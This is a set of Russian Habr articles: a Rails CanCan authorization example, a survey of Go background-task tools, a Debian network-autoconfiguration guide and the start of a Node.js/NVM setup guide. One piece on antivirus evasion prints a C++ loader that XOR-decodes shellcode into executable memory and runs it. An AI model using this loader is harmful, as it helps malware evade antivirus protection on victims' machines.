> 4. def initialize(user)
> 5. user ||= User.new
> 6.
> 7. if user.admin? # Admin account
> 8. can :manage, :all
> 9. else
> 10. if user.customer? # Customer account
> 11. # RESTful
> 12. can :read, Document
> 13. can :create, Document
> 14. can :update, Document, :customer\_id => user.character.id
> 15. can :read, Comment
> 16.
> 17. # Collections
> 18. can :personal, Document
> 19.
> 20. elsif user.executive? # Executive account
> 21. # RESTful
> 22. can :read, Document
> 23. can :read, Comment
> 24. can :create, Comment
> 25. can [:update, :destroy], Comment, :executive\_id => user.character.id
> 26.
> 27. # Members
> 28. can :join, Document
> 29. can :leave, Document
> 30.
> 31. # Collections
> 32. can :drafts, Comment
> 33. can :archive, Comment
> 34. end
> 35. end
> 36. end
> 37. end
> \* This source code was highlighted with Source Code Highlighter.`
Допустим, как-то так. Таким образом, и у заказчиков, и у исполнителей есть доступ к одним и тем же контроллерам/ресурсам, но при этом каждому позволяются разные действия.
Теперь в представлении достаточно проверить, может ли текущий пользователь делать то или иное действия, и жизнь покажется Раем.
> `1. if can? :join, @document
> 2. = link\_to “Join”, [:join, @document]
> \* This source code was highlighted with Source Code Highlighter.`
Теперь ссылку “Join” увидят только те, кому это разрешено в правилах выше. Нужно еще немного исправить контроллер, но там все согласно стандартной документации.
Подобным образом можно скрывать и показывать различные блоки на сайте, да и вообще что угодно.
Теперь еще пару слов об ассоциациях: большинство ассоциаций прописываются теперь в моделях заказчика и исполнителя, а не в модели пользователя. Таким образом достигается наибольшая гибкость при дальнейшей разработке.
Итог статьи таков: есть ситуации, когда полиморфные ассоциации действительно нужны и сильно упрощают жизнь. Не стоит фанатично добавлять их в каждую дырку, но стоит знать о них и уметь применить.
Ссылки по теме:
[github.com/plataformatec/devise](https://github.com/plataformatec/devise)
[github.com/ryanb/cancan](https://github.com/ryanb/cancan)
[habrahabr.ru/blogs/ror/79431](http://habrahabr.ru/blogs/ror/79431/) | https://habr.com/ru/post/118035/ | null | ru | null |
# Инструменты выполнения фоновых задач в Go
***Третий очерк из цикла приключений в мире сусликов***
Это третья статья серии рассказов о подводных камнях, которые можно встретить в начале разработки на Go. Напоминаю, что в статьях есть примеры кода, будьте с ними аккуратнее - не все из них будут компилироваться и работать, читайте внимательно комментарии, везде указано на какой строке происходит ошибка. Также в блоках кода табуляция везде заменена на пробелы - это сделано намеренно, чтобы статьи выглядели у всех одинаково.
**Статьи серии**:
1. [Интерфейсы в Go - как красиво выстрелить себе в ногу](https://habr.com/ru/post/597461/)
2. [Нарезаем массивы правильно в Go](https://habr.com/ru/post/597521/)
3. Инструменты выполнения фоновых задач в Go
4. ...
Как писал ранее, я всю жизнь занимаюсь разработкой программного обеспечения, в основном в сфере WEB. Успел познакомиться со многими языками программирования и поработать в разных крупных компаниях. Сейчас руковожу разработкой в компании NUT.Tech, где мы делаем классные и интересные вещи. В данный момент бо́льшая часть разработки в отделе построена вокруг Go, поэтому о нём я и продолжаю рассказывать.
Данная статья будет немного выбиваться из привычного формата. Тут не будет никаких подводных камней. Но здесь я постараюсь помочь с выбором инструмента для фонового запуска кода. Иногда замечаю, что у разработчиков, пришедших из других языков, бывают проблемы с пониманием, какие лучше использовать для этого инструменты в Go. Тут я постараюсь перечислить основные подходы и библиотеки для помощи с выбором.
Статья рассчитана на разработчиков любого уровня, пришедших из других языков. Тут не будет подробного руководства по каждому из инструментов, но я постараюсь помочь получить общее представление и понять основные свойства каждого. Этот текст призван помочь проще и быстрее вникнуть в основные методы фонового запуска бизнес-логики и выбрать наиболее подходящий для своей задачи.
Для удобства в каждом пункте есть сводная информация и вывод, по которым можно примерно понять общую информацию об инструменте. А в конце будет общая таблица с основными свойствами для перечисленных в статье инструментов.
### Расшифровка понятий
* **Сложность** - моё оценочное суждение о сложности применения инструмента.
* **Надёжность** - гарантии инструмента по выполнению фоновых операций.
* **Отказоустойчивость** - устойчивость системы к выходу из строя отдельных её элементов.
* **Распределённый запуск** - возможность запустить систему на нескольких хостах.
* **Привязка к ОС** - система работает только на определенных ОС.
* **Персистентность** - возможность восстановить запущенные/запланированные задачи после падения системы.
* **Автоматические повторы** - повторы задач в случае ошибки их выполнения.
* **Привязка ко времени** - возможность настроить запуск задач в определённые часы, дни, недели.
* **Внешние зависимости** - зависимость от сторонних программ или внешних хранилищ данных.
### Cron
#### Краткая информация
Сложность: Низкая
Надёжность: Низкая
Отказоустойчивость: Низкая
Распределённый запуск: Нет
Привязка к ОС: Да
Персистентность: Нет
Автоматические повторы: Нет
Привязка ко времени: Да
Внешние зависимости: Да (сам cron)
#### Описание
Начнём с классического и привычного многим подхода - запуск задач через внешние планировщики задач. Для простоты возьмём классический [cron](https://wiki.gentoo.org/wiki/Cron), но общая логика не изменится и для systemd и для прочих отдельных планировщиков/менеджеров процессов.
Использование крона очень распространено, многие с ним встречались или наверняка ещё встретятся. Такой метод запуска задач простой, и обычно мало у кого возникают проблемы с тем, чтобы разобраться с ним.
Из минусов данного способа можно отметить, что он обычно не предполагает какой-либо *надёжности* выполнения. Если не городить велосипедов, понять, что что-то пошло не так, можно будет по логам и пойти перезапустить всё руками. Есть, конечно, более продвинутые системы, например [rundeck](https://github.com/rundeck/rundeck), которые позволяют централизованно управлять фоновыми задачами, но общий принцип для приложения будет аналогичным.
Также, воспользовавшись этим инструментом, необходимо понимать, что появляется зависимость от внешней сторонней утилиты, которой может не быть на любой системе, где будет запускаться приложение.
Главное, что нам понадобится - это возможность вызывать исполняемый файл таким образом, чтобы внутри запустился необходимый для задачи код/функция. Для этого может понадобиться сделать консольный интерфейс (cli), чтобы запускать бинарный файл с некоторыми аргументами и вызывать то, что нужно. Для простого построения cli приложения я рекомендую [urfave/cli](https://github.com/urfave/cli), наверное, сейчас самый распространённый и удобный фреймворк для построения интерфейсов командной строки.
Но можно обойтись и без cli, просто собрав отдельный бинарник, в котором при запуске сразу будет выполнен необходимый код. Для упрощения примера этим способом я и воспользуюсь.
#### Пример
1. Пишем наш код в `main.go`
```
package main
func task() {
println("Hello cron!")
}
func main() {
task()
}
```
2. Компилируем
```
go build -o app main.go
```
3. Проверяем, что файл запускается и делает то, что нам нужно
```
./app
Hello cron!
```
4. Настраиваем cron (инструкция [тут](https://man7.org/linux/man-pages/man5/crontab.5.html)) (также есть удобный [инструмент](https://crontab.guru/) для правильного конфигурирования времени).
#### Вывод
Крон лучше всего подходит для фоновых периодических задач, строгая выполняемость которых не нужна. Например, задачи фоновой чистки ненужных данных, актуализация кешей/индексов. Система сама не будет выполнять автоматические перезапуски упавших задач, и, если упадёт нода, на которой живёт планировщик, то задачи тоже не будут выполняться.
### Gocron
#### Краткая информация
Сложность: Низкая
Надёжность: Низкая
Отказоустойчивость: Низкая
Распределённый запуск: Нет
Привязка к ОС: Нет
Персистентность: Нет
Автоматические повторы: Нет
Привязка ко времени: Да
Внешние зависимости: Нет
#### Описание
[Gocron](https://github.com/go-co-op/gocron) - это библиотека, которая может заменить cron в Go. Удобство заключается в том, что сам cron не нужен, как внешняя утилита в системе, нет необходимости что-то отдельно компилировать или писать cli. Библиотека используется внутри кода приложения и просто в отдельных потоках (горутинах) вызывает необходимые функции с нужной периодичностью.
Достаточно удобно для небольшого приложения, но имеет такие же минусы, что и классический подход с cron, кроме привязки к операционной системе. В отличие от cron, gocron выполняется вместе с кодом и будет выполняться везде, где будет выполняться приложение.
#### Пример
```
package main
import "github.com/go-co-op/gocron"
func task() {
println("Hello gocron!")
}
func main() {
// инициализируем объект планировщика
s := gocron.NewScheduler(time.UTC)
// добавляем одну задачу на каждую минуту
s.Cron("* * * * *").Do(task)
// запускаем планировщик с блокировкой текущего потока
s.StartBlocking()
}
```
#### Вывод
Gocron очень похож по принципу работы на сам cron. Но является более удобным, так как убирает зависимость от окружения и необходимость создания отдельного вызываемого файла. Если есть большое желание сделать что-то через классический cron, советую сначала посмотреть на gocron. Главное, нельзя забывать о том, что gocron будет работать на каждом хосте, на котором развёрнуто приложение. Если это нежелательно, следует выносить gocron в отдельный сервис и запускать в единственном экземпляре.
### Goroutines
#### Краткая информация
Сложность: Высокая
Надёжность: Низкая
Отказоустойчивость: Низкая
Распределённый запуск: Нет
Привязка к ОС: Нет
Персистентность: Нет
Автоматические повторы: Нет
Привязка ко времени: Нет
Внешние зависимости: Нет
#### Описание
Горутины - это краеугольный камень в мире Go. Это очень мощный и элегантный инструмент запуска асинхронного кода. На самом деле предыдущий рассмотренный инструмент gocron под капотом полностью построен именно на горутинах.
Используя горутины, можно создавать очень гибкие системы фонового выполнения, ограниченные только фантазией и одной машиной выполнения. Тут я расскажу лишь об одном из способов их использования и очень советую почитать про них ещё отдельно, например, на сайте языка [go.dev/doc/effective\_go#goroutines](https://go.dev/doc/effective_go#goroutines).
Первый раз столкнувшись с этим крутым инструментом, вы можете поддаться соблазну сделать просто так:
```
go task()
```
Это будет работать, но при таком подходе существуют некоторые проблемы:
1. Количество горутин никак не будет контролироваться. И может произойти так называемая *утечка горутин*. Это ситуация, когда запускаемые функции в фоне по какой-то причине стали залипать (например, если они дёргают какую-то API и подолгу ждут ответа, а основной поток продолжает запускать всё новые и новые горутины). Хоть в Go и может быть по-настоящему много горутин, каждая отнимает у сервера для себя ресурсы.
2. В тестах вы никак не сможете проверить результат работы функции, которая запускает такую горутину. Конечно, можно будет написать юнит тест, но иногда нужно проверить более сложные сценарии.
3. Запущенную таким образом горутину будет невозможно остановить, только если вместе с основным потоком.
4. Если при исполнении горутины произойдёт паника, упадёт и основной поток.
Для решения этих проблем есть разные инструменты, одни из них это: [каналы](https://go.dev/doc/effective_go#channels) и пакет [context](https://pkg.go.dev/context). Каналы нужны для обмена информацией между разными потоками, а контекст для остановки горутины, когда это необходимо, например, по времени или вызовом специальной функции завершения.
Частым (но далеко не единственным) шаблоном использования горутин, в контексте запуска фоновых задач, является запуск в отдельной функции-горутине бесконечного цикла. В этом цикле выполняется необходимая задача, и поток засыпает на некоторое время, чтобы после проснуться и сделать ещё одну итерацию цикла.
Данный шаблон лучше всего подходит для задач, которые выполнять нужно бесконечно и часто - каждую секунду или чаще.
Пример будет не очень жизненным и не самым красивым, но он такой для понимания, как этот способ вообще можно применять.
#### Пример
```
package main
import (
"context"
"time"
)
func task(ctx context.Context) {
// запускаем бесконечный цикл
for {
select {
// проверяем не завершён ли ещё контекст и выходим, если завершён
case <-ctx.Done():
return
// выполняем нужный нам код
default:
println("Hello gophers!")
}
// делаем паузу перед следующей итерацией
time.Sleep(time.Minute)
}
}
func main() {
// создаём контекст с функцией завершения
ctx, cancel := context.WithCancel(context.Background())
// запускаем нашу горутину
go task(ctx)
// делаем паузу, чтобы дать горутине поработать
time.Sleep(10 * time.Minute)
// завершаем контекст, чтобы завершить горутину
cancel()
}
```
#### Вывод
Часто разработчики Go при вопросе, как запустить что-то в фоне, скажут вам "Горутины!". И это правильно, это настоящий go way, очень мощный, гибкий и удобный инструмент. На мой личный взгляд, горутины - одно из основных преимуществ языка.
Это очень универсальный и нативный способ работы с фоновым кодом и не только, на горутинах, каналах и контекстах обычно строится вся асинхронность в го. И для понимания и применения этой асинхронности нужно обязательно понимать, как работать с горутинами.
### Pond
#### Краткая информация
Сложность: Средняя
Надёжность: Низкая
Отказоустойчивость: Низкая
Распределённый запуск: Нет
Привязка к ОС: Нет
Персистентность: Нет
Автоматические повторы: Нет
Привязка ко времени: Нет
Внешние зависимости: Нет
#### Описание
Следующий инструмент запуска фоновых функций - это ещё один способ решить проблемы контроля запускаемых горутин, перечисленные в предыдущем разделе, но по-своему. Фактически он является обёрткой над горутинами, занимающейся их контролем и защищающей от утечек.
Суть данного подхода заключается в том, что мы не запускаем горутину самостоятельно, а вместо этого передаём ответственность на запуск своей функции-таски некоторому менеджеру (пулу задач). Пул выполнит нашу задачу, когда будет к этому готов.
Его хорошо использовать, когда нужно просто выполнить что-то в фоне, а результат выполнения положить, например, в базу или просто в логи.
Библиотек, реализующих такие пулы, очень много. Если, например, заглянуть в репозиторий [awesome-go](https://github.com/avelino/awesome-go), можно найти их огромное количество. Я покажу тут одну из них, которая показалась мне очень простой в использовании и с достаточным функционалом - [pond](https://github.com/alitto/pond).
#### Пример
```
package main
import "github.com/alitto/pond"
func task() {
println("Hello pond!")
}
func main() {
// Создаём объект пула
pool := pond.New(7, 42)
// Расскажу тут немного о магических числах 7 и 42.
// Конкретно в этих числах нет особого смысла, они просто взяты для примера.
// 7 - это количество тасок, которые могут работать одновременно.
// А 42 - это размер очереди, в которую становятся задачи, ожидающие выполнения.
// Если очередь уже заполнена, а мы хотим туда ещё что-то докинуть функцией
// Submit, она заблокирует поток, пока в очереди не появится место.
// Это всё нужно, чтобы предотвратить утечку горутин, рассмотренную выше.
// Отправляем в пул функцию, которая будет запущена в фоне
pool.Submit(task)
// Закрываем возможность добавлять новые задачи в пул и ждём завершения поставленных
pool.StopAndWait()
}
```
#### Вывод
Использование менеджера-пула фоновых задач - удобная альтернатива запуску фоновых задач в качестве горутин. Такие библиотеки как pond позволяют сохранить контроль над функциями, выполняемыми в фоне, в том случае, если нет необходимости их как-то контролировать вручную через каналы или контекст.
### Bell
#### Краткая информация
Сложность: Низкая
Надёжность: Низкая
Отказоустойчивость: Низкая
Распределённый запуск: Нет
Привязка к ОС: Нет
Персистентность: Нет
Автоматические повторы: Нет
Привязка ко времени: Нет
Внешние зависимости: Нет
#### Описание
Рассказывая про фоновое выполнение, не могу не поделиться ещё одной библиотекой - [bell](https://github.com/nuttech/bell), которая призвана в первую очередь упростить запуск фонового кода при наступлении определённых событий.
Данный пакет также полностью построен на горутинах, не имеет каких-либо специфических зависимостей от окружения выполнения и использовать его очень просто.
#### Пример
```
package main
import "github.com/nuttech/bell"
func handler(bell.Message) {
println("Hello bell!")
}
func main() {
// определяем имя события, которое необходимо отслеживать
eventName := "event-hello"
// привязываем к имени события функцию-обработчик
bell.Listen(eventName, handler)
// оповещаем bell о том, что произошло событие и необходимо выполнить его обработчик
_ = bell.Ring(eventName, nil)
}
```
#### Вывод
У пакета очень простое предназначение - запускать фоновый код, когда в основном потоке кто-то сгенерировал определённое событие. Аналогично всем предыдущим, данный инструмент не гарантирует выполнение события при сбоях и не имеет автоматических повторов. Подходит в первую очередь для простых задач, строгое выполнение которых не нужно. Например, для записи информации в лог при авторизации пользователя.
### Machinery
#### Краткая информация
Сложность: Высокая
Надёжность: Высокая
Отказоустойчивость: Высокая
Распределённый запуск: Да
Привязка к ОС: Нет
Персистентность: Да
Автоматические повторы: Да
Привязка ко времени: Да (при необходимости)
Внешние зависимости: Да (брокер сообщений)
#### Описание
Крайним инструментом в этой статье будет [machinery](https://github.com/RichardKnop/machinery). Этот инструмент очень отличается от всего рассмотренного ранее.
Если кто-то пришёл в мир Go из мира Python, он узнает в машинерии известный питонистам инструмент celery. Машинерия проще по функционалу, но, скорее всего, это не будет помехой, большинство к чему привыкли в celery есть и в машинерии.
*Если уже знакомы с архитектурой обмена задачами через брокера, можете пролистывать сразу до следующего раздела, потому что тут я немного расскажу про сам подход используемый в машинерии и подобных инструментах.*
Работая с машинерией и вообще подобной архитектурой, нужно строго различать три понятия: планировщик (producer) - тот, кто ставит новые задачи, брокер (broker) - общее хранилище информации о поставленных задачах (это может быть как простая база данных, так и специализированные брокеры вроде [rabbitmq](https://www.rabbitmq.com/)), воркер (worker) - тот, кто выполняет поставленные задачи.
Главное отличие данного подхода - это наличие брокера задач. Машинерия поддерживает разных брокеров, от выбора брокера и его настроек будет зависеть *надёжность* - то есть будут ли все ваши поставленные задачи в итоге выполнены.
Машинерия, в отличие от всех ранее рассмотренных инструментов, не будет вызывать код напрямую. Вместо этого она будет сохранять задачу в брокер сообщений, а подключенные воркеры возьмут её в работу, когда будут готовы.
Это позволяет убрать жёсткую связь между кодом, который ставит задачи, и кодом, который их выполняет. Появляется горизонтальная масштабируемость: можно развернуть много воркеров на разных хостах, собрать кластер из брокеров и можно сделать даже несколько планировщиков, если это позволяет бизнес логика.
Что касается брокеров, они бывают разные. Машинерия поддерживает как чисто облачные решения, так и брокеры, которые можно развернуть самостоятельно. Я не буду подробно рассказывать про каждый брокер - это выходит за рамки статьи. Дам только совет: если не знаете какой брокер выбрать и не используете облака, у вас остаётся выбор между [редисом](https://redis.io/) и кроликом (rabbitmq). Редис проще в поднятии и настройке, но в случае сбоев не гарантирует доставку задач до воркеров. А у кролика намного больше гарантий, их можно даже настраивать, но он сложнее в поднятии и эксплуатации.
#### Пример
~~РАЗЫСКИВАЮТСЯ три суслика и белка, за похищение примера.~~
К сожалению, в отличие от предыдущих инструментов, на машинерию сложно написать короткий пример. Но в официальном репозитории есть несколько [отличных примеров кода](https://github.com/RichardKnop/machinery/tree/master/example), их достаточно для общего понимания, как работать с этим инструментом.
#### Вывод
Машинерия - мощный эффективный инструмент для надёжного распределённого выполнения фоновых задач. Если вы пришли из питона и скучаете по celery, обязательно посмотрите на machinery. Но только если вам нужно гарантированное или распределённое выполнение. Не стоит тащить в проект большие сложные фреймворки, если с вашей задачей могут прекрасно справится нативные инструменты в Go, например, горутины.
### Итоговое сравнение
| | cron | gocron | pond | goroutines | bell | machinery |
| --- | --- | --- | --- | --- | --- | --- |
| Сложность | Низкая | Низкая | Средняя | Высокая | Низкая | Высокая |
| Надёжность | Низкая | Низкая | Низкая | Низкая | Низкая | Высокая |
| Отказоустойчивость | Низкая | Низкая | Низкая | Низкая | Низкая | Высокая |
| Распределённый запуск | Нет | Нет | Нет | Нет | Нет | Да |
| Персистентность | Нет | Нет | Нет | Нет | Нет | Да |
| Привязка к ОС | Да | Нет | Нет | Нет | Нет | Нет |
| Автоматические повторы | Нет | Нет | Нет | Нет | Нет | Да |
| Привязка ко времени | Да | Да | Нет | Нет | Нет | Да |
| Внешние зависимости | Да | Нет | Нет | Нет | Нет | Да |
### Как же выбрать?
Мой совет такой:
1. Если вам нужен запуск задач на разных хостах, вам нужна Machinery или что-то подобное.
2. Если вам нужно что-то максимально простое для запуска периодических задач, берите gocron.
3. Если нужно что-то делать в фоне, при событиях в основном потоке, скорее всего хорошо подойдёт bell или pond.
4. Для всего остального есть горутины :) Как минимум всегда стоит попробовать с них начать, если остальные варианты не подошли. Более гибкий инструмент в мире Go будет сложно найти. | https://habr.com/ru/post/661645/ | null | ru | null |
# Автоконфигурация сетевых интерфейсов в Debian GNU/Linux
Решил рассказать о вариантах решения достаточно часто встречающейся проблемы для обладателей мобильных устройств. Проблема заключается в том, что зачастую лаптопы подключаются к достаточно большому количеству разных сетей, в которых далеко не всегда есть DHCP-сервер, либо же DHCP-сервер «отдаёт» не все необходимые настройки, либо же отдаёт неверные.
#### Автоподнятие интерфейса
Автоподнятие интерфейса — вещь достаточно удобная, так как избавляет от необходимости каждый раз вручную поднимать и опускать интерфейс (хотя я знаю людей, которым больше по душе именно ручное поднятие интерфейсов). В большинстве случаев для этих целей можно использовать замечательную программу ifplugd.
Настройка ifplugd не представляет особой сложности сама по себе, но как минимум в Debian есть возможность опции указать в файле `/etc/default/ifplugd`. Стоит обратить внимание на опцию `-d` — время между определением отключения среды передачи данных (кабеля) и деконфигурацией интерфейса, возможно, имеет смысл его увеличить, так как весьма неприятно, когда из-за случайно выдернутого кабеля разрываются соединения. Опцию `-u` же, напротив, можно установить в небольшое значение — поднять интерфейс при появлении кабеля практически никогда не вредно.
Теоретически, ifplugd умеет работать и с отключаемыми адаптерами (параметр `HOTPLUG_INTERFACES` в конфигурационном файле), на практике же мне не удалось заставить его работать, потому это было сделано через udev. Всего у меня использовалось три Wi-Fi-адаптера, один из них подключался как PC Card (PCMCIA), другой — через USB, а позже появился встроенный, подключаемый через MiniPCI. Соответственно, в `/etc/udev/rules.d/80-LOCAL-wlan-start.rules` постепенно дописывались правила:
```
# WLAN adapters
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNEL=="wlan*", RUN+="/etc/network/wlan-up $env{INTERFACE}"
SUBSYSTEM=="rfkill", ACTION=="change", ENV{RFKILL_STATE}=="1", ENV{RFKILL_NAME}=="phy0", ENV{RFKILL_TYPE}=="wlan", RUN+="/etc/network/wlan-up wlan2"
SUBSYSTEM=="rfkill", ACTION=="change", ENV{RFKILL_STATE}=="0", ENV{RFKILL_NAME}=="phy0", ENV{RFKILL_TYPE}=="wlan", RUN+="/sbin/ifdown wlan2"
SUBSYSTEM=="rfkill", ACTION=="change", ENV{RFKILL_STATE}=="2", ENV{RFKILL_NAME}=="phy0", ENV{RFKILL_TYPE}=="wlan", RUN+="/sbin/ifdown wlan2"
```
В этом файле первая после комментария строка отрабатывает при подключении внешнего адаптера. Остальные же строки отрабатывают при получении события rfkill, которое означает изменение состояния переключателя встроенного Wi-Fi. Значения параметров здесь указаны для драйвера b43, у других драйверов они могут отличаться. К сожалению, так и не удалось придумать, как не указывать при этом имя интерфейса вручную.
Содержимое файла `/etc/network/wlan-up`:
```
#!/bin/sh
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
if=$1
logger -s -t wlan "Bringing up $if"
ifconfig $if up
poweroff=$(iwconfig $if|grep Tx-Power=off|wc -l)
if [ $poweroff -ne 0 ] ; then
ifconfig $if down
exit
fi
ifup --force $if 2>&1 | logger -s -t wlan
```
Установка переменной `PATH` необходима, так как при вызове скрипта из udev эта переменная не установлена, потому многие вещи начинают работать совершенно не так, как хотелось бы.
Файл `/etc/network/wlan-up` изначально представлял собой достаточно сложный bash-скрипт, производивший поиск сетей, а также предпринимавший попытки входа в них, но был значительно упрощён после того, как я случайно наткнулся на пакет guessnet, о котором речь пойдёт ниже.
#### Автоконфигурация сети
После того, как интерфейс, собственно, поднят, возникают две проблемы. Первая заключается в том, чтобы в случае Wi-Fi определить, какая из знакомых нам сетей доступна. Вторая заключается в том, чтобы непосредственно эту сеть настроить, если по какой-либо причине настройка по протоколу DHCP невозможна.
В Debian есть замечательнейший пакет guessnet, который позволяет достаточно легко решить обе проблемы, не прибегая к километровым колдунствам на bash, grep и sed, которыми мне пришлось воспользоваться до того, как я его нашёл.
guessnet пользуется такой возможностью механизма настройки сети в Debian `/etc/network/interfaces`, как логические интерфейсы и ключевое слово `mapping`. Логические интерфейсы, как подсказывает их название, представляют собой ни что иное, как профили настроек сети, которые можно применить при поднятии того или иного интерфейса примерно так: `ifup eth0=home`. Ключевое слово `mapping` представляет возможность написать скрипт, который осуществляет сопоставление физического интерфейса логическому.
Всё, что необходимо, чтобы подключить guessnet в `/etc/network/interfaces` — добавить секцию (*stanza*) `mapping` для соответствующего интерфейса:
```
mapping eth1
script guessnet-ifupdown
# map default: dhcp
# map debug: true
# map verbose: true
map syslog: true
```
Ключевое слово `map` приобретает новый смысл: оно используется для передачи параметров в guessnet (про оригинальный смысл можно прочитать на странице `interfaces (5)` или в документации на ifupdown). Но об этом позже.
Сами профили определяются в точности так же, как и любые другие интерфейсы, с одной лишь только разницей: имя логического интерфейса не совпадает с именем физического (хотя может содержать его как подстроку в себе):
```
iface no-link inet manual
test missing-cable
pre-up echo No link present.
pre-up false
iface dhcp inet dhcp
iface eth-home inet dhcp
post-up route del default 2>&1 >/dev/null || true
post-up pon dsl-eth-vpn
post-up ifup ipv6-vps
pre-down ifdown ipv6-vps
pre-down poff dsl-eth-vpn
test peer address 192.168.1.1 mac 00:19:CB:48:02:2A source 192.168.1.5
iface eth-lab inet static
address 192.168.23.238
netmask 255.255.255.224
gateway 192.168.23.225
test peer address 192.168.23.225
```
Как видно, в настройках каждого из приведённых логических интерфейсов присутствует ключевое слово `test`. Очень гибкая архитектура программы ifupdown позволяет сторонним программам (таким, как guessnet) перехватить их обработку либо просто игнорировать их (хотя конкретно guessnet работает иначе — он просто разбирает файл заново). Слово `test` позволяет задать условие, по которому будет выбрана та или иная конфигурация.
Логический интерфейс `no-link` рекомендуется создавать специально для того, чтобы guessnet не пытался запускать другие тесты при отсутствии кабеля.
Конфигурация `dhcp` принимает все настройки по DHCP, не заменяя ничего. Её бывает полезно установить как конфигурацию по умолчанию — большинство сетей всё же имеют хоть какой-нибудь DHCP сервер, слушая указания которого можно хотя бы получить базовый набор настроек.
Конфигурация `eth-lab` используется в сети с DHCP-сервером, который игнорирует запросы от незнакомых ему клиентов. Потому делается *arping* шлюза в данной сети — такой запрос отработает только в случае, если оба узла находятся в одном физическом сегменте сети.
Наконец, конфигурация `eth-home` одновременно использует настройки от DHCP-сервера, но дополнительно поднимает IPv6-туннель, а также удаляет IPv4-шлюз по умолчанию, фактически превращая машину в IPv6-only узел. Ещё одна особенность: для того, чтобы получить доступ к «другому концу» IPv6-туннеля, используется ADSL-соединение, которое любезно предоставляет модем Zyxel серии P-660. У модемов этой марки есть одна интересная прихоть: они игнорируют анонимные ARP-запросы (а именно такие рассылает по умолчанию guessnet). Чтобы избежать этого, в явном виде прописан адрес, который записывается в поле «источник» пакета. Кроме того, здесь в явной форме указан MAC-адрес модема.
Кроме этого, как я уже упоминал, guessnet умеет обнаруживать Wi-Fi-сети. Для этого ключевое слово `test` поддерживает опцию `wireless`:
```
iface wifi-MTS.BY inet dhcp
test wireless essid MTS.BY
wireless-essid MTS.BY
wireless-key off
```
Необходимо учесть, что достаточно часто guessnet не может корректно определить «наличие кабеля» для Wi-Fi (оно и понятно), из-за чего в `mapping` для Wi-Fi-интерфейса нужно добавлять строку `map !no-link`.
Более подробно с возможностями guessnet можно ознакомиться на странице `guessnet(8)`. Также к пакету прилагается неплохая документация с примерами использования. В принципе, ничто не мешает использовать guessnet и в других дистрибутивах — существует режим работы, «отвязанный» от специфичного для Debian пакета ifupdown.
#### Пара штрихов
Одна из сетей, в которых мне довольно часто приходится бывать, имеет DHCP-сервер, настроенный так, что запросы на обновление адреса отправляются два раза в минуту. Вместе с тем, через DHCP раздаются не подходящие мне настройки DNS и раз в полминуты перезаписывают мой `/etc/resolv.conf`. Решением такой проблемы может быть следующий скрипт (для dhclient3):
```
case $reason in
RENEW)
make_resolv_conf () {
true
}
;;
*)
return
;;
esac
```
Поместить его нужно в `/etc/dhcp3/dhclient-enter-hooks.d` под любым именем.
Конечно, такое решение является довольно грубым «хаком», так что возможно, установка пакета resolvconf и «подкручивание» приоритетов интерфейсов будут более предпочтительными.
Кроме того, рекомендуется поставить пакет ifupdown-extra, в нём есть несколько полезных дополнений к стандартным возможностям ifupdown.
Вот, пожалуй, и всё, что хотелось рассказать. Спасибо за внимание. | https://habr.com/ru/post/121216/ | null | ru | null |
# Обходим антивирус при помощи десяти строк кода
Специалист по информационной безопасности под ником [evasiv3](https://twitter.com/evasiv3) опубликовал на прошлой неделе запись в своем блоге, в которой рассказывается о том, как можно обойти любой антивирус при помощи десяти строк кода.
Изначально Evasiv3 планировал написать огромный пост о способах обхода антивирусной защиты, однако, протестировав первый шаг своего «руководства» он был очень удивлен: ни один из 56 протестированных продуктов, призванных обеспечить безопасность пользователя в сети, не обнаружил его бинарник.
> После получения подобного результата я решил отказаться от своей идеи долгого и изматывающего обхода антивирусной защиты и действовать быстро, «грязно», но при этом невероятно просто.
В своей работе evasiv3 использовал [Veil-Evasion](https://www.veil-framework.com/framework/veil-evasion/), часть [Veil-Framework'a](https://www.veil-framework.com/). Автор отмечает его как «превосходный инструмент, который почти никогда его не подводил».
Код, представленный ниже, написан на С++ и ориентирован на атаку, в первую очередь, windows-платформы:
```
#include
#include
int main(int argc, char \*\*argv) {
char b[] = {/\* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C \*/};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void \*exec = VirtualAlloc(0, sizeof c, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);
memcpy(exec, c, sizeof c);
((void(\*)())exec)();
}
```
Приведенный выше код создает массив символов с шелл-кодом, выполняет операцию XOR с невероятно сложным ключом «х» в нижнем регистре, выделяет немного памяти, копирует массив в нее и после выполняет.
Если вы сейчас подумали «да ладно!», то у вас та же реакция, что и у Evasiv'a. Масла в огонь подливает тот факт, что бинарник был обнаружен 0 антивирусов из 56 после проверки через VirusTotal. Продемонстрированный выше АВ-обход показывает, что простейший и основной метод проникновения до сих пор является рабочим.
Конечно, большинство антивирусов сосредоточены на пресечении эксплуатации уязвимостей, а не на их выявление, так что «хоронить» их пока рано.
*На скриншоте в начале статьи указана дата за 2015 год, однако, автор кода перепроверил бинарник VirusTotal перед [публикацией в своем блоге](http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html).* **Результат тот же: 0 из 56.** | https://habr.com/ru/post/279791/ | null | ru | null |
# Автоматизируем рутину в работе с HTML/CSS/JS
Строим простую среду разработки
-------------------------------
### Node.JS + NVM
Для работы нам понадобится [*среда выполнения Node.js*](https://nodejs.org/en/download/) и [менеджер версий nwp](https://github.com/coreybutler/nvm-windows) (опционально)
> *Node или Node.js — программная платформа, основанная на движке V8, превращающая JavaScript из узкоспециализированного языка в язык общего назначения.*
>
>
> *Node Version Manager, чаще называемый nvm, является наиболее популярным средством установки нескольких версий Node.js*
>
>
NodeJS потребуется для установки *пакетов, модулей* и *зависимостей* проекта, а NVM — для установки, удаления и переключения версий NodeJS. Переключение потребуется вам при работе с проектами, которые написаны под более новую или старую версию NodeJS.
Визуализация работы NVM#### Основные команды NVM
Список установленных версий
`nvm ls`
Список доступных версий
`nvm list available`
Установка последней версии
`nvm install latest`
Установка версии из списка доступных
`nvm install`
Переключиться на другую версию
`nvm use`
По желанию вы можете попробовать другие менеджеры версий.
> [*nvs*](https://github.com/jasongin/nvs)*(Node Version Switcher) — это кроссплатформенный вариант nvm с возможностью*[*интеграции с VS Code*](https://github.com/jasongin/nvs/blob/master/doc/VSCODE.md)*.*
>
>
